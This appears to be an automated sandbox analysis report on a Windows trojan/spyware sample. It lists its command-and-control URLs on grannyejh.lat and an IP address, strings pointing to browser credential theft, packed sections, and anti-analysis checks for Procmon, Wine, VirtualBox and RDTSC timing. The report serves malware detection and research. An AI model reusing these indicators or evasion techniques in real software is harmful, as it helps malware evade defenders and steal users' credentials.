Source: S6oj0LoSiL.exe, 00000001.00000003.1441770658.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1442079261.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1463637776.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1463853167.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1493251592.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1442231512.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529500909.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1441469020.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1441542932.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1441182659.000000000536C000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1463241797.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1530368597.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000002.1575802701.000000000536D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/%%
Source: S6oj0LoSiL.exe, 00000001.00000002.1575941881.0000000005380000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1570059825.000000000537C000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554782835.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/)
Source: S6oj0LoSiL.exe, 00000001.00000002.1572106028.000000000056C000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554662041.000000000056A000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1530569963.0000000000566000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529928299.0000000000566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/5X
Source: S6oj0LoSiL.exe, 00000001.00000003.1463637776.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1463853167.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1463241797.000000000536D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/7
Source: S6oj0LoSiL.exe, S6oj0LoSiL.exe, 00000001.00000003.1530145624.000000000537C000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1512785213.000000000056A000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529979913.00000000004E3000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1417319273.00000000004FC000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1417319273.000000000050E000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1530628892.000000000537A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1417319273.00000000004F2000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1570420637.0000000000511000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1493251592.000000000536D000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000002.1571584223.0000000000511000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1492688223.00000000004FC000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1492688223.00000000004E3000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529979913.000000000050E000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1512840767.000000000537C000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000002.1575941881.0000000005380000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1570059825.000000000537C000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554782835.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: S6oj0LoSiL.exe, 00000001.00000002.1575941881.0000000005380000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1570059825.000000000537C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiT
Source: S6oj0LoSiL.exe, 00000001.00000003.1512785213.000000000056A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apig
Source: S6oj0LoSiL.exe, 00000001.00000003.1554743613.000000000050F000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529979913.000000000050E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apigs
Source: S6oj0LoSiL.exe, 00000001.00000003.1570420637.0000000000511000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000002.1571584223.0000000000511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apigsz
Source: S6oj0LoSiL.exe, 00000001.00000003.1417319273.00000000004E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/eR
Source: S6oj0LoSiL.exe, 00000001.00000002.1572106028.000000000056C000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1554662041.000000000056A000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1530569963.0000000000566000.00000004.00000020.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1529928299.0000000000566000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/zX
Source: S6oj0LoSiL.exe, S6oj0LoSiL.exe, 00000001.00000003.1529979913.000000000050E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
Source: S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: S6oj0LoSiL.exe, 00000001.00000003.1464763580.000000000541A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: S6oj0LoSiL.exe, 00000001.00000003.1464763580.000000000541A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_e149f5d53c9263616797a13067f7a114fa287709b159d0a5
Source: S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: S6oj0LoSiL.exe, 00000001.00000003.1418439685.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418621780.000000000532A000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1418328326.000000000532D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: S6oj0LoSiL.exe, 00000001.00000003.1487221347.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1487376697.00000000053C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: S6oj0LoSiL.exe, 00000001.00000003.1464763580.000000000541A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.HCe2hc5EPKfq
Source: S6oj0LoSiL.exe, 00000001.00000003.1464763580.000000000541A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.oX6J3D7V9Efv
Source: S6oj0LoSiL.exe, 00000001.00000003.1464763580.000000000541A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: S6oj0LoSiL.exe, 00000001.00000003.1464763580.000000000541A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: S6oj0LoSiL.exe, 00000001.00000003.1464763580.000000000541A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: S6oj0LoSiL.exe, 00000001.00000003.1464763580.000000000541A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.9:49752 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: S6oj0LoSiL.exe	Static PE information: section name:
Source: S6oj0LoSiL.exe	Static PE information: section name: .idata
Source: S6oj0LoSiL.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_00513C63	1_3_00513C63
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_00513C63	1_3_00513C63
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0050FEFE	1_3_0050FEFE
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0050FEFE	1_3_0050FEFE
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0055E3F7	1_3_0055E3F7
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_005655FF	1_3_005655FF
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_00513C63	1_3_00513C63
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_00513C63	1_3_00513C63
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0051E1CD	1_3_0051E1CD
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0050FEFE	1_3_0050FEFE
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0050FEFE	1_3_0050FEFE
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0051B2BC	1_3_0051B2BC

Source: S6oj0LoSiL.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: S6oj0LoSiL.exe	Static PE information: Section: ZLIB complexity 0.9974047517123288
Source: S6oj0LoSiL.exe	Static PE information: Section: vkhwstep ZLIB complexity 0.9946389878659476

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@2/1

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: S6oj0LoSiL.exe, 00000001.00000003.1441770658.0000000005307000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1419047687.0000000005318000.00000004.00000800.00020000.00000000.sdmp, S6oj0LoSiL.exe, 00000001.00000003.1419183086.00000000052FD000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: S6oj0LoSiL.exe	Virustotal: Detection: 56%
Source: S6oj0LoSiL.exe	ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

File read: C:\Users\user\Desktop\S6oj0LoSiL.exe

Jump to behavior

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: S6oj0LoSiL.exe

Static file information: File size 1826816 > 1048576

Source: S6oj0LoSiL.exe

Static PE information: Raw size of vkhwstep is bigger than: 0x100000 < 0x195a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

Unpacked PE file: 1.2.S6oj0LoSiL.exe.660000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vkhwstep:EW;lvdrqtey:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vkhwstep:EW;lvdrqtey:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: S6oj0LoSiL.exe

Static PE information: real checksum: 0x1c55cd should be: 0x1bf355

Source: S6oj0LoSiL.exe	Static PE information: section name:
Source: S6oj0LoSiL.exe	Static PE information: section name: .idata
Source: S6oj0LoSiL.exe	Static PE information: section name:
Source: S6oj0LoSiL.exe	Static PE information: section name: vkhwstep
Source: S6oj0LoSiL.exe	Static PE information: section name: lvdrqtey
Source: S6oj0LoSiL.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056B959 push edx; retf	1_3_0056B95A
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056B959 push edx; retf	1_3_0056B95A
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056B959 push edx; retf	1_3_0056B95A
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056B959 push edx; retf	1_3_0056B95A
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056D9B0 push eax; retf	1_3_0056D9B1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056D9B0 push eax; retf	1_3_0056D9B1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056D9B0 push eax; retf	1_3_0056D9B1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056D9B0 push eax; retf	1_3_0056D9B1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_005712B9 pushad ; retf 0056h	1_3_005712C1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_005712B9 pushad ; retf 0056h	1_3_005712C1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_005712B9 pushad ; retf 0056h	1_3_005712C1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_005712B9 pushad ; retf 0056h	1_3_005712C1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_00582554 push edi; ret	1_3_00582558
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_00582554 push edi; ret	1_3_00582558
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_00582554 push edi; ret	1_3_00582558
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0051CF52 push 00000076h; ret	1_3_0051CF60
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0051CF52 push 00000076h; ret	1_3_0051CF60
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056A159 push ecx; retf	1_3_0056A15A
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056A159 push ecx; retf	1_3_0056A15A
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056A159 push ecx; retf	1_3_0056A15A
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056B959 push edx; retf	1_3_0056B95A
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056B959 push edx; retf	1_3_0056B95A
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056B959 push edx; retf	1_3_0056B95A
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056B959 push edx; retf	1_3_0056B95A
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056D9B0 push eax; retf	1_3_0056D9B1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056D9B0 push eax; retf	1_3_0056D9B1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056D9B0 push eax; retf	1_3_0056D9B1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_0056D9B0 push eax; retf	1_3_0056D9B1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_005712B9 pushad ; retf 0056h	1_3_005712C1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_005712B9 pushad ; retf 0056h	1_3_005712C1
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Code function: 1_3_005712B9 pushad ; retf 0056h	1_3_005712C1

Source: S6oj0LoSiL.exe	Static PE information: section name: entropy: 7.980853938334159
Source: S6oj0LoSiL.exe	Static PE information: section name: vkhwstep entropy: 7.954285883329528

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 82C07F second address: 82C098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6510B03A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 82C098 second address: 82C0A2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB65109F886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 82C0A2 second address: 82C0B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB6510B039Ah 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 81C050 second address: 81C05B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 82B0C7 second address: 82B0E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jnc 00007FB6510B03A9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 82B0E9 second address: 82B11B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB65109F891h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007FB65109F896h 0x0000000f popad 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 82B254 second address: 82B259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 82B6B7 second address: 82B6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB65109F896h 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 82B6D5 second address: 82B6DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\S6oj0LoSiL.exe	RDTSC instruction interceptor: First address: 82E0A8 second address: 82E0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 jnl 00007FB65109F88Eh 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D3795h], ebx 0x00000014 push 00000000h 0x00000016 mov ch, 1Dh 0x00000018 push 2292FE96h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 pop eax 0x00000023 rdtsc
